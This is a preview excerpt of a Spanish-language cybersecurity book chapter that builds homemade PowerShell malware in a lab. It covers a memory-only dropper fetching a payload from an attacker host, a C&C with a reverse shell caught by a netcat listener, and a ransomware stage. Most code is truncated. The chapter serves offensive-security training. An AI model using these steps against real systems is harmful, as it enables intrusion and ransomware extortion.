¡Acceso ilimitado 24/7 a todos nuestros libros y vídeos! Descubra la Biblioteca Online ENI. Pulse aquí
¡Acceso ilimitado 24/7 a todos nuestros libros y vídeos! Descubra la Biblioteca Online ENI. Pulse aquí
  1. Libros
  2. Ciberseguridad y PowerShell
  3. Malware casero
Extrait - Ciberseguridad y PowerShell Del ataque a la defensa del sistema de información
Extractos del libro
Ciberseguridad y PowerShell Del ataque a la defensa del sistema de información Volver a la página de compra del libro

Malware casero

Introducción

El capítulo anterior presentó varias técnicas de ataques aislados que ilustran bien la diversidad de posibles usos con fines maliciosos. En este capítulo, continuaremos descubriendo técnicas de ataque, pero combinando diferentes métodos para desarrollar un embrión de malware simple, capaz de comunicarse con un servidor de control y comando (denominado C&C) y de criptolockear archivos en la máquina víctima. Para mantenernos solo en PowerShell, no se tratará el método para ejecutar el código inicial que vamos a desarrollar aquí. Esta parte se abordará en el próximo capítulo, con la inevitable macro de office capturada. 

El ejercicio de recrear su propio malware es un entrenamiento esencial y un paso casi obligatorio para todos los equipos ofensivos, ya sean benevolentes (pentest, redteam, auditoría) o maliciosos…

De hecho, la inmensa mayoría de productos disponibles gratuitamente (proyectos finalizados disponibles en Internet en PowerShell y otros lenguajes) ya son o serán rápidamente reconocidos por los mecanismos de protección de sistemas informáticos, con los IPS y antivirus al frente.

En este contexto, los códigos atípicos, siempre y cuando no realicen acciones demasiado notables, generalmente se desempeñan muy bien en el ejercicio de evasión antivirus. Las actividades...

¿Cómo se estructura un malware?

Los malwares de hace veinte años, como el famoso ILOVEYOU del año 2000, ya no existen. Como recordatorio, este último era un simple script vbs enviado como archivo adjunto por correo cuyo «truco» consistía en ocultar su extensión de archivo; mediante una doble extensión «.txt.vbs» que Windows mostraba incorrectamente como «.txt» en ese momento... Se estima que este pequeño programa podría haber infectado el 10 % de las máquinas conectadas a Internet en ese momento.

Sin embargo, en veinte años, los malwares han evolucionado y se han vuelto más complejos, convirtiéndose en verdaderos softwares especializados divididos en varias partes, cada una encargada de una función específica del ataque. Por lo tanto, encontramos códigos especializados en los compromisos iniciales, otros en la recopilación de información o el mantenimiento y suministro de acceso. Este enfoque segmentado permite presentar múltiples códigos, más pequeños que un único bloque monolítico, donde cada pieza es más fácil de modificar individualmente. La otra ventaja para los delincuentes es que estos códigos pueden ser desarrollados y mantenidos por diferentes equipos que venden sus servicios entre sí.

Esto también hace que estos desarrollos...

Etapa 1: el dropper Memory Only

El dropper es el puente de comunicación de un virus. Muy ligero, es el primero en ser ejecutado por la víctima, y es él quien inicia el ataque. El método para hacer que la víctima ejecute la carga inicial se abordará en el próximo capítulo. El primer paso del desarrollo es preparar un código de PowerShell capaz de descargar otro y ejecutarlo, idealmente sin escribir el archivo en el disco del afectado y trabajando solo en memoria.

Para ello, son muy útiles dos funciones de descarga y ejecución en .NET y PowerShell:

  • La clase .NET System.Net.WebClient, que permite descargar contenido web fácilmente.

  • El cmdlet Invoke-Expression, que permite ejecutar una cadena dada como un código de PowerShell.

Las primeras líneas del dropper empezarán descargando un archivo desde una URL dada. En las últimas versiones de PowerShell, es posible usar el cmdlet Invoke-WebRequest:

Invoke-WebRequest -Uri http://10.0.2.5:8000/Ematete.zip -outfile 
"Ematete.zip" 

Pero, desafortunadamente, este cmdlet no existe en Windows 7 y, a cambio de una ligera complicación en el código del dropper, es posible soportar el sistema operativo histórico de la empresa de Redmond. Esta evolución también evita escribir en un archivo y almacena en memoria los datos descargados en una variable.

# Creación de un nuevo cliente web  ...

Etapa 2: el servidor de contenidos

1. Servidor HTTP en Python

Con el dropper anterior ejecutándose en una máquina víctima, es posible descargar y ejecutar un segundo código alojado en un servidor web remoto de la máquina víctima. En casos reales, los atacantes casi siempre usan otros sitios comprometidos previamente, y diferentes de su servidor de control y comando, para distribuir el código. Aquí, es la máquina atacante la que debe actuar como toda la infraestructura del atacante.

En una máquina Linux, hay una manera muy sencilla de proporcionar un servidor web con Python 3 y el módulo http.server (ou SimpleHTTPServer en Python 2).

 Pase a la máquina Kali como Sabina y ejecute el siguiente comando en un terminal:

$ python3 -m http.server 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 

 Puede verificar su correcto funcionamiento conectándose localmente a la máquina Kali con el navegador incluido en la distribución.

images/03_02.png

2. Servidor HTTP en PowerShell

Sin embargo, también es posible crear un simple servidor de contenido HTTP en PowerShell, pero no existe un módulo nativo en PowerShell que permita establecerlo tan rápidamente. Por supuesto, hay muchos módulos en PowerShell Gallery que implementan servidores web básicos. Casi todos están construidos sobre una única clase .NET:...

Etapa 3: el C&C y el reverse shell

El C&C (Control and Command) es la infraestructura de control de un malware; es quien espera que los clientes se conecten y les proporciona instrucciones. En esta sección, por lo tanto, hay dos objetos para tomar en consideración: por un lado, el C&C, y por otro, el código ejecutado en la máquina de la víctima que se conecta al C&C, el reverse shell. Antes de desarrollarlos, es necesario entender qué es un reverse shell y volver al capítulo, Los atacantes y PowerShell, en el apartado que define un escaneo de red. Este apartado planteó cómo se establece un flujo TCP, pero sin abordar un concepto fundamental en la seguridad de la información: la dirección de establecimiento de estos flujos TCP.

De hecho, aunque un flujo TCP establecido permite el intercambio de datos en ambas direcciones (es decir, del cliente al servidor, pero igualmente del servidor al cliente), solo una de las dos máquinas envía el paquete SYN al principio; consideramos que es el emisor del flujo TCP y, por lo tanto, le damos una dirección al flujo.

A nivel de los firewalls, a menudo son estos paquetes SYN iniciales los que se bloquean o autorizan para implementar la política de seguridad en la red. En todo lo relacionado con los flujos administrativos, y en general, se recomienda en un sistema de información que los flujos solo puedan dirigirse hacia áreas menos sensibles que las suyas. Decimos que los flujos ascendentes están prohibidos. El objetivo es evitar que un atacante ingrese en áreas más sensibles que los accesos que ya tiene.

Para ilustrar con nuestro Lab, la máquina Kali puigmal está en un área menos sensible que el SI de PSPIRINEOS detrás del firewall PfSense. En este contexto, Sabina no puede establecer una conexión (enviar un paquete SYN) a las máquinas en esta red, pero nada impide que las máquinas de la red se conecten a Internet y a la máquina Kali.

images/03_03.png

Este funcionamiento de TCP y las reglas de seguridad pueden ser utilizados por los atacantes con el mecanismo del reverse shell. Es un método de comunicación en el que esta se establece desde la máquina víctima hacia el servidor del atacante, lo que permite respetar las políticas de seguridad del SI y no ser bloqueado por los dispositivos de seguridad....

Etapa 4: el ransomware

1. Cifrado

Los ransomwares se han convertido en la principal amenaza en los últimos años, superando ampliamente el espionaje y los fraudes con tarjetas bancarias en línea (que no han disminuido). Estos ataques tienen una alta capacidad de convertir el rescate en dinero en efectivo (y son menos aleatorios que el robo de datos o las amenazas de denegación de servicio), ya que afectan principalmente a los «datos comerciales» de la empresa, bloqueando su funcionamiento y generando casi inmediatamente una crisis.

En este contexto, parece interesante intentar desarrollar un ransomware minimalista 100 % PowerShell a partir de nuestro reverse shell. Y, como indica el nombre cryptolocker, debemos comenzar con las bases de un ransomware en criptografía. En teoría, para un ransomware, el cifrado simétrico podría ser suficiente si y solo si el atacante asegura no dejar rastro de la clave de cifrado en la máquina de la víctima.

En la práctica, para crear un «verdadero» ransomware, es mucho más simple utilizar cifrado asimétrico, como se presentó en el capítulo anterior. El cifrado asimétrico permite cifrar con una clave pública en el ordenador de la víctima, pero sin exponer nunca la clave privada, que permite descifrar los datos en el ordenador objetivo. Esta técnica garantiza el bloqueo de los archivos.

Para lograr esto, el primer paso es generar un par de claves en nuestra máquina Kali, enviar la clave pública a la máquina de la víctima y cifrar archivos con esta última. El comando New-SelfSignedCertificate no está disponible en la consola PowerShell de Kali Linux.

 Por lo tanto, debe volver a openssl, el comando clásico en Linux para generar un certificado:

openssl req -x509 -sha256 -nodes -days 365 -newkey rsa:4096 
-keyout key.pem -out cert.pem 

Esto generará dos archivos (key.pem y cert.pem) que contienen, respectivamente, en formato .pem (base64) la clave privada y el certificado (autofirmado) que contiene la clave pública.

 Con el reverse shell y desde la máquina Kali, utilice el servidor HTTP para enviar la clave pública a la máquina de la víctima:

Invoke-WebRequest -Uri http://10.0.2.5:8000/cert.pem -OutFile  
cert.pem 

Hay herramientas que permiten usar...

El ataque, paso a paso

El desarrollo está terminado; puede parecer complicado, pero, en realidad, el ataque en una situación real sigue la secuencia que indicamos a continuación.

Preparación en el servidor del atacante:

 En la máquina Kali, inicie un servidor web de contenido en la máquina del atacante:

$ python3 -m http.server 
  • Ponga a disposición la etapa 2 de PowerShell en el servidor web con el archivo ema-tete.ps1 en un archivo ZIP Ematete.zip (colocando el archivo directamente en el directorio propuesto por el servidor HTTP).

  • Ponga a disposición en el servidor web el archivo del certificado que contiene la llave pública RSA.

 Continúe en Kali y lance una escucha a la espera de un reverse shell en el puerto 4443:

$ nc -lvp 4443 

En el equipo Windows 10, ejecute el archivo dropper.ps1 en la máquina de la víctima. Este comando establece una conexión en el reverse shell y permite lanzar la fase de ransomware desde la máquina Kali:

.\dropper.ps1 

 Desde el reverse shell en Kali, haga que se descargue en la máquina el certificado para el cifrado:

Invoke-WebRequest -Uri http://10.0.2.5:8000/cert.pem -OutFile 
cert.pem 

 Luego inyéctelo en el directorio del usuario:

certutil -addstore -user -f "My" .\cert.pem 

 Desde el reverse shell, ejecute el script Prepare-Key.ps1, ya sea copiando y pegando línea por línea manualmente...

Conclusión

En este capítulo, hemos visto cómo desarrollar un malware de tipo ransomware. Este puede, a partir de un simple dropper de algunas líneas en PowerShell, descargar y ejecutar un código PowerShell alojado en un servidor remoto. Esta segunda etapa (o stage 2) establece un reverse shell en un segundo canal de comunicación y da el control al atacante sobre la máquina de la víctima casi como si estuviera localmente, respetando una dirección de establecimiento de flujo para evitar mecanismos de protección. Una vez establecido su acceso, el atacante realiza manualmente un cryptolocker en la máquina.

Aunque no sea muy creíble, este ransomware es pedagógico. De hecho, se aleja mucho de las técnicas actuales de ransomware. Primero, porque, a diferencia de los virus modernos, no tiene múltiples mecanismos de ofuscación y protección contra la ingeniería inversa. Además, casi no existen malwares 100 % en PowerShell; la mayoría recurren en algún momento a un archivo ejecutable o a un mecanismo de persistencia o elevación de privilegios basado en un binario compilado. Esta variación de técnicas puede complicar aún más el análisis para los equipos de defensa. Además, nuestro código aquí solo evoluciona en el espacio del usuario, obligando a cifrar usuario...